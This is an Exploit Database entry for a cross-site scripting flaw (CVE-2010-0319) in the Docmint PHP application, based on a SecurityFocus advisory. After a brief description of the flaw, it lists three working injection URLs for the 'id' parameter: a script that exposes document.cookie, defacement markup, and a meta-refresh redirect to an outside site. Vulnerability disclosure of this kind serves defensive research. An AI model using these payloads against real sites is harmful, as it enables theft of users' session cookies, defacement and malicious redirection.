Exploit Database - Logo

Docmint 1.0/2.1 - 'id' Cross-Site Scripting

EDB-ID: 33505 Author: Red-D3v1L Published: 2010-01-12
CVE: CVE-2010-0319 Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: Link Tags: N/A
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
« Previous Exploit Next Exploit » 
source: http://www.securityfocus.com/bid/37721/info

Docmint is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Docmint 1.0 is vulnerable; versions 2.1 and higher are also vulnerable; other versions may be affected as well. 

http://www.example.com/index.php?id='"><script>alert(document.cookie)</script>
http://www.example.com/index.php?id=<marquee><font color=Red size=16>Th3 RDX/font></marquee>
http://www.example.com/index.php?id=<HTML><HEAD><TITLE>Redirect...</TITLE><META HTTP-EQUIV="REFRESH" CONTENT="0; URL=http://www.inj3ct0r.com"></HEAD><BODY>Redirect in corso...</BODY></HTML>
« Previous Exploit Next Exploit »

Related Exploits

Trying to match CVEs (1): CVE-2010-0319
Trying to match OSVDBs (1): 61657
Other Possible E-DB Search Terms: Docmint 1.0/2.1,  Docmint 1.0,  Docmint
Date D V Title Author
2006-10-09 Verified docmint 2.0 - '/engine/require.php' Remote File InclusionK-159
Menu